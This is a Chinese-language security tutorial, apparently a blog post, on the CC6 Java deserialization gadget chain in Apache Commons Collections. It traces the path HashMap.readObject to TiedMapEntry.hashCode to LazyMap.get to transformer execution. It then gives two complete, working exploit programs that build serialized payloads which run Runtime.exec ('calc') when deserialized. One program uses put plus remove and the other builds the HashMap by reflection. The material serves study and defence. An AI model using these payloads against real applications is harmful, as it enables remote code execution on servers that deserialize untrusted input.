【Web】Java反序列化之CC6--HashMap版

前文：

【Web】Java反序列化之再看CC1--LazyMap

上面这篇文章提到，只要调用的LazyMap的get方法，就可以最终完成transform的调用。

在高版本下，CC1不再能打通，CC6依然通用，其反序列化入口不再是AnnotationInvocationHandler，而是HashMap

HashMap的readObject方法，最后调用了hash(key)

其实这里师傅们应该很熟悉，和URLDNS链的入口一样

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " +loadFactor);s.readInt();                // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " +mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}}

跟进hash(key)最后调用了key.hashCode()

static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}

接下来我们只要找到能被利用的hashCode方法即可

找到了TiedMapEntry(tme)

它的初始化方法是传一个map，传一个key

  public TiedMapEntry(Map map, Object key) {this.map = map;this.key = key;}

其hashCode方法调用了getValue方法

 public int hashCode() {Object value = this.getValue();return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());}

getValue方法调用了传入的map的get方法去找传入的key，我们只要传入一个LazyMap就可以完成攻击链的构造 (前提是传入的key在LazyMap的HashMap里不能找到对应的value，否则因为懒加载机制，后续不能调用LazyMap中传入的map.transform)

public Object getValue() {return this.map.get(this.key);}

LazyMap方法的get方法：

 public Object get(Object key) {if (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;} else {return this.map.get(key);}}

而需要注意的是：

法一：HashMap put配合remove

构造入口的HashMap在put(tme,'xxx')时会调用传入的keyTiedMapEntry的hashCode方法

public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}

从而让LazyMap的get方法在反序列化前已经被调用了一次，也就是此时LazyMap中的HashMap里已经已经存在了这样一组键值对：key=>transform('key')

if (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;}

那么再反序列化时再次走到LazyMap的get方法时，此时LazyMap的HashMap中已经有了'key'与对应的value，因为懒加载机制，不会去调用factory.transform方法，而是直接返回value的值。

else {return this.map.get(key);}

这样达不到反序列化攻击的效果，所以我们必须在入口HashMap调用put(tme,'value')后删除掉LazyMap中HashMap已经存在的KV对。

因为LazyMap是抽象类AbstractMapDecorator的具体实现，而remove方法没有重载，就直接extends了抽象类的remove方法，这个remove方法的意思是删除LazyMap中HashMap的一组KV对，可以达到我们的目的。

public Object remove(Object key) {return this.map.remove(key);}

再经过一些细微的调整，便能构造exp：

package com.CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[] {newConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, newObject[0] }),new InvokerTransformer("exec", new Class[] { String.class},new String[] { "calc.exe" }),new ConstantTransformer(1),};Transformer transformerChain = newChainedTransformer(fakeTransformers);
// 不再使⽤原CommonsCollections6中的HashSet，直接使⽤HashMapMap innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.remove("keykey");Field f =ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();
// 本地测试触发System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}

法二：反射构造HashMap绕过put

exp:

package com.CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {public static void main(String[] args) throwsException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};Transformer transformerChain = new ChainedTransformer(transformers);Map map = new HashMap();Map lazyMap = LazyMap.decorate(map, transformerChain);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "x");Map expMap = makeMap(tiedMapEntry, "xxx");System.out.println("No calculator Pop :)");Thread.sleep(5000);ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(expMap);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));ois.readObject();}public static Map makeMap(Object key, Object value) throws Exception {HashMap<Object, Object> map = new HashMap<>();// 设置size为1setFieldValue(map, "size", 1);// 构造NodeClass<?> nodeClazz = Class.forName("java.util.HashMap$Node");Constructor<?> nodeCons = nodeClazz.getDeclaredConstructor(int.class, Object.class, Object.class, nodeClazz);nodeCons.setAccessible(true);Object node = nodeCons.newInstance(0, key, value, null);// 构造tablesObject tbl = Array.newInstance(nodeClazz, 1);Array.set(tbl, 0, node);setFieldValue(map, "table", tbl);return map;}public static void setFieldValue(Object obj,String name, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}
}